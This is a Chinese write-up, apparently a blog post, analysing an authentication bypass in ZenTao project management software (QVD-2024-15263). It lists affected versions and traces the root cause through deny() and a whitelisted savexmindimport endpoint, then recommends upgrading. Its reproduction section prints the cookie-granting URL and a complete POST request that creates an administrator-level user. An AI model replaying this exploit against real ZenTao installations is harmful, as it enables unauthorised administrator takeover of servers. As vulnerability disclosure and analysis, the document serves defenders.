禅道项目管理系统身份认证绕过漏洞(QVD-2024-15263)
禅道项目管理系统身份认证绕过漏洞分析
1.漏洞描述
禅道项目管理软件是国产的开源项目管理软件,专注研发项目管理,内置需求管理、任务管理、bug管理、缺陷管理、用例管理、计划发布等功能,完整覆盖了研发项目管理的核心流程。
禅道项目管理系统存在身份认证绕过漏洞,远程攻击者利用该漏洞可以绕过身份认证,调用任意API接口并修改管理员用户的密码,并以管理员用户登录该系统,配合其他漏洞进一步利用后,可以实现完全接管服务器
2.影响范围
16.x <= 禅道项目管理系统< 18.12(开源版)
6.x <= 禅道项目管理系统< 8.12(企业版)
3.x <= 禅道项目管理系统< 4.12(旗舰版)
3.漏洞复现
首先请求接口/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest
,获取到一个cookie;
然后尝试使用获取到的cookie去请求/api.php/v1/users
接口添加新的用户,如果能成功添加用户则说明存在漏洞;
POST /www/api.php/v1/users HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: zentaosid=ihjhql1uuiohqarr295f0k8q3f
Content-Length: 93
{"account": "test", "password": "Admin@123", "realname": "test", "role": "top", "group": "1"}
虽然返回的响应状态码为403,但是使用新添加的账号密码能成功登录禅道项目管理系统,并且账号权限为高层管理,表明漏洞利用成功;
4.漏洞分析
在官方发布的18.12版本中,对entry.class.php代码中的鉴权方式进行了修改(代码修改详情可访问:https://github.com/easysoft/zentaopms/commit/d13ba70016ca981b08f27e08fb934bf1f23a4135),当用户发起http请求的时候,程序首先会启动一个app实例,接着检查是否有权限,最后才是执行对应模块下面的方法;
由于这是一个利用cookie进行认证绕过的漏洞,那么我们可以看看通过漏洞URL获取的session与正常获取的session有何不同,在服务器上通过对比这两个文件如下所示:
可以看上面两个文件的内容最大的区别就是上面的多了一个user字段;
得到cookie之后就添加到请求头中访问/api.php/v1/users,程序的权限验证代码在entry.class.php下,这段代码会判断this->app->user的值是否存在和account是否等于guest;
我们在这行代码下断点后,可以看到添加了cookie请求之后this->app->user的值是存在的,而且this->app-user->account不等于guest,所以继续执行下面的代码,后面再没有进行鉴权,直接进行添加用户操作;
那么为何请求接口/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest
得到的session会多出一个user字段呢;
通过对该接口进行调试便能发现其根本原因;
在api.php中,程序首先创建一个app实例api;
调用了createApp(),程序会执行到router.class.php#startSession()下,在startSession()下断点,该方法会生成一个sessionID;
得到一个app实例后,接着会执行api.php下的$common->checkEntry()进行权限的验证,在isOpenMethod()中会进行白名单验证,testcase.savexmindimport在白名单范围内,所以会跳过后续的验证,开始执行testcase控制器下的savexmindimport方法;
验证请求合法后会导入testcase模块,执行testcase模块下control.php控制器文件的构造方法,在构造方法中会调用Helper:isAjaxRequest()来判断用户请求是否是AJAX请求,判断是否是AJAX请求主要通过判断HTTP_X_REQUESTED_WITH是否等于XMLHttpRequest来实现,我们可以通过GET请求将HTTP_X_REQUESTED_WITH的值传入进去;
如果判断出不是AJAX请求的话,程序就会执行后面的return语句提前结束程序;
通过上面的分析我们得到了cookie的创建流程,下面来分析一下是在哪个步骤将user字段写进session的;
那我们跟进到testcase\control.php#saveXmindImport()中,可以看到该方法下调用了common\model.php#deny();
跟进deny(),该方法下会先判断$reload的值,这里$reload默认为true,会执行if语句下的代码,代码中会在$this->app下添加一个user字段,关于字段的值是什么不用关心,因为验证的只是$this->app->user是否为空,最后就会内容将值存入到session里;
所以调用到deny()的都可以实现认证绕过,例如testcase.getxmindimport也调用了deny()
5.修复建议
更新版本到18.12
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 分享4款.NET开源、免费、实用的商城系统
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· 记一次.NET内存居高不下排查解决与启示